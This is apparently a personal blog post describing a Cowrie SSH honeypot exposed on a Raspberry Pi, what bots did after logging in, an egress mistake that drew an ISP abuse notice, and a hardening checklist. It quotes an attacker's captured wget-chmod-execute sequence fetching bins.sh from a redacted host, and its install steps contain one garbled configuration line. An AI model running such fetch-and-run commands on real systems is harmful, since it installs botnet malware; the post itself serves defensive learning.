Three weeks ago I wanted to settle an argument with myself: how long would it take before a brand-new, unhardened Linux box started getting probed once it was reachable from the internet? Not from a curious scanner. From attackers.
So I built the worst possible thing on purpose. I took a Raspberry Pi 4, flashed a fresh Raspberry Pi OS, enabled SSH with a deliberately weak setup, plugged it directly into my ISP's router with no firewall rules in front of it, and pointed it at the open internet.
I expected to wait a few days. I got an answer in 47 minutes.
This is what I learned from 72 hours of watching it — including the part where my own experiment nearly got me kicked off my ISP.
The setup: how to build the honeypot (do it better than I did)
The idea is simple: a machine that looks vulnerable, logs everything, and can't hurt anyone else. My stack:
- Cowrie, an SSH honeypot that accepts logins into a fake filesystem and records every command the attacker types. It's the single best tool for this kind of experiment because you don't just see brute-force attempts — you see what attackers do after they get in.
- A network isolation layer so nothing the attacker does can reach my actual machines.
- A logging script that tails Cowrie's JSON logs and writes a plain summary every hour.
Install Cowrie in about ten minutes:
sudo apt update && sudo apt install -y git python3-venv
sudo useradd -m cowrie
sudo su - cowrie
git clone https://github.com/cowrie/cowrie
cd cowrie
python3 -m venv cowrie-env
. cowrie-env/bin/activate
pip install --upgrade pip
pip install -e .
etc/cowrie/cowrie.cfg.dist
# edit: listen on port 22, allow passwords from the wordlist
bin/cowrie start
Cowrie listens on port 2222 by default. I forwarded port 22 on my router to it so it looked like a normal, exposed SSH server. Then I left a small Python script running to summarize the incoming sessions:
import json, collections
from pathlib import Path
hits = collections.Counter()
users = collections.Counter()
passwords = collections.Counter()
log = Path("/home/cowrie/cowrie/var/log/cowrie/cowrie.json")
for line in log.read_text().splitlines():
try:
e = json.loads(line)
except json.JSONDecodeError:
continue
if e.get("eventid") == "cowrie.login.success":
hits[e["src_ip"]] += 1
users[e["username"]] += 1
passwords[e["password"]] += 1
print("Top attacker IPs:", hits.most_common(10))
print("Top usernames:", users.most_common(10))
print("Top passwords:", passwords.most_common(10))
Then I waited.
Hour one: the bots found me before I finished coffee
The first hit at the 47-minute mark was a dictionary attack — about 15 username/password pairs, nothing fancy. admin/admin, root/root, pi/raspberry, test/test. Within three hours the box was getting probed roughly once every 90 seconds, around the clock, from addresses in every region you'd expect and several I wouldn't have guessed.
A few patterns stood out immediately:
-
The default credentials aren't a joke.
pi:raspberryandadmin:adminaccounted for a huge share of successful logins into the honeypot. If you've ever shipped a device with default creds and forgotten to change them, the internet already knows. - Most sessions were scripted, not human. The vast majority of "attackers" logged in and ran the same three-command sequence: download something, chmod it, run it. This is botnet recruitment, not espionage. Nobody was reading my files. They were trying to make my Pi mine crypto or join a DDoS swarm.
- Some were human. One session spent twenty minutes poking around, checked the kernel version, looked at network interfaces, and quietly exited. That's the kind that's actually interesting — and harder to catch.
What the attackers did after getting in
The fake filesystem made this the best part. Cowrie captures every command typed, so I could watch the post-exploitation scripts verbatim. The most common pattern looked like this:
wget http://[redacted]/bins.sh
chmod +x bins.sh
./bins.sh
bins.sh would typically try to download architecture-specific payloads — ARM binaries for exactly the kind of device I was exposing. There's an entire malware ecosystem targeting Raspberry Pis and routers specifically, because people leave them on default settings and never patch them. My little experiment wasn't novel to the attackers. They do this all day, every day, against entire netblocks.
A minority tried something more interesting: reverse shells, attempts to spread to other hosts on the (fake) network, and one session that just ran uname -a, cat /etc/os-release, and logged out — fingerprinting for a later visit.
Where my experiment failed — the honest part
Here's the part that almost made me pull the plug on day two.
I had isolated the Pi from my internal network, but I had not limited its outbound traffic. I assumed Cowrie's fake filesystem was the sandbox. It isn't. Cowrie fakes the shell — it does not fake the network. When a session ran a real wget or curl, on my setup those commands were going out through my real connection.
On the second day, I noticed my ISP's abuse mailbox had sent me an automated message: my connection was participating in what looked like a DDoS against a third party. One of the botnet scripts had managed to launch outbound traffic from the Pi. Cowrie's fake shell mostly blocks this by not actually executing binaries — but the combination of a misconfigured session policy and one real command slipping through was enough to generate attack traffic.
I killed the experiment, called my ISP, explained it was an authorized honeypot on my own hardware, and got a polite-but-firm warning. Then I rebuilt the setup with the fix I should have had from the start:
# On the router/firewall in front of the honeypot:
# allow inbound SSH, BLOCK all outbound except the logging destination
sudo iptables -A FORWARD -i eth1 -o eth0 -j DROP # no honeypot -> internet
sudo iptables -A FORWARD -i eth0 -o eth1 -m state --state ESTABLISHED,RELATED -j ACCEPT
The lesson, plainly: a honeypot's sandbox is the network, not the software. If your "vulnerable" machine can talk to the internet outbound, you've built a botnet node that happens to be yours. I got lucky that my ISP's first response was an email instead of a termination.
What I actually changed after 72 hours
This experiment was never really about the attackers — it was about whether my own habits would survive contact with them. They wouldn't have. Here's the checklist I now run on every machine I put on a network, home or production:
-
SSH keys only, passwords off.
PasswordAuthentication noandPermitRootLogin noinsshd_config. That single change would have made my honeypot invisible to roughly 90% of the traffic it received. - Move SSH off port 22 if it's a personal machine. It's not security, it's noise reduction — but noise reduction means my logs show only targeted attempts.
- fail2ban as a backstop, not a plan. It bans repeat offenders; it doesn't fix a bad config.
- Default credentials are a launch-day emergency. Change them before the device ever touches a network.
- Egress control. Decide what a machine is allowed to send before you decide what it accepts. This is the one most home and indie setups skip entirely, and it's the one that bit me.
- A 5-minute pre-launch security pass before anything goes public. The day you ship is the worst day to discover you forgot to close a port.
The boring conclusion
The internet isn't hunting for you specifically. It's scanning everything, constantly, and default settings are a welcome mat. The 47 minutes it took for the first knock isn't scary — it's average. What's scary is that the fix is so boring and so cheap that there's no excuse for skipping it.
Your Pi, your home server, your VPS, your production app — they all get the same treatment. The difference between a 47-minute compromise and an invisible machine is a checklist you ran once, deliberately, before launch instead of after the abuse email.
The full checklist + scripts are in Ship Safe — The Launch-Day Security Kit — code LAUNCH90 at checkout makes it $1.50. Enter the code on the checkout page itself (it's a text field on the checkout form, not a URL parameter).
Top comments (0)